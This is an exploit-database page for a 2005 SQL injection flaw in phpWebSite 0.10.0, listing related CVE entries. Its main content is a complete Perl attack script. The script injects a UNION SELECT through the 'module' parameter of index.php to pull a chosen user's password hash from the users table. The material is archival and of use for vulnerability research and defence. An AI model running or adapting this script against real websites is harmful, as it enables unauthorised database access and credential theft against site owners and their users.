Lucene search
+L

phpWebSite 0.10.0 - 'module' SQL Injection

🗓️ 15 Sep 2005 00:00:00Reported by RusHType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 33 Views

phpWebSite 0.10.0 has SQL Injection vulnerability allowing user and password retrieval.

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2005-4792
29 Apr 200610:00
cve
CVE
CVE-2008-0092
4 Jan 200801:00
cve
Cvelist
CVE-2005-4792
29 Apr 200610:00
cvelist
Cvelist
CVE-2008-0092
4 Jan 200801:00
cvelist
EUVD
EUVD-2005-4785
7 Oct 202500:30
euvd
EUVD
EUVD-2008-0105
7 Oct 202500:30
euvd
NVD
CVE-2005-4792
31 Dec 200505:00
nvd
NVD
CVE-2008-0092
4 Jan 200801:46
nvd
Tenable Nessus
phpWebSite index.php Search Module SQL Injection
14 Oct 200500:00
nessus
Prion
Cross site scripting
4 Jan 200801:46
prion
Rows per page
#!/usr/bin/perl
use LWP::Simple;

$serv     =  $ARGV[0];
$path     =  $ARGV[1];
$name     =  $ARGV[2];

sub usage
 {
    print "\nUsage: $0 [server] [path] [username] \n";
    print "sever    -  URL\n";
    print "path     -  path to index.php\n";
    print "username -  name register user\n\n";
    exit ();}

sub work
 {
    print qq(
       ---------------------------------
#==---[    phpWebSite SQL-injection     |
#==---[   tested ob phpWebSite-0.10.0   |
#==---[  Gr33tz: blf, 1dt.w0lf, Pengo,  |
#==---[       edisan, foster, whice     |
#==---[ (c)oded by x97Rang 2005 RST/GHC |
#==---[        http://rst.void.ru       |
#==---[          http://ghc.ru          |
       ---------------------------------\n\n);&chv;&board}

sub chv
 {
    $ver  = sprintf("http://%s%s/docs/CHANGELOG.txt",$serv,$path);
    $getv = get "$ver";
if ($getv =~ /(phpWebSite-)(\d{1})\.(\d{1,2})\.(\d{1})/){print"[*] Version: $1$2.$3.$4\n";}}

sub board
 {
    $URL = sprintf("http://%s%s/index.php?module=%27+union+select+username,password+from+mod_users+where+username=%27$name%27/*",$serv,$path);
    $content = get "$URL";
if ($content =~ /(\<b\>Search\&\#160\;)(\w{32})(\<\/b\>)/){&showh;}else{print "... One of those days :)\n";}}

sub showh
 {
    print "[*] User: $name\n";
    print "[*] Hash: $2\n\n";}

if (@ARGV != 3){&usage;}else{&work;}

# milw0rm.com [2005-09-15]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 May 2016 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 27.5
EPSS0.01726
33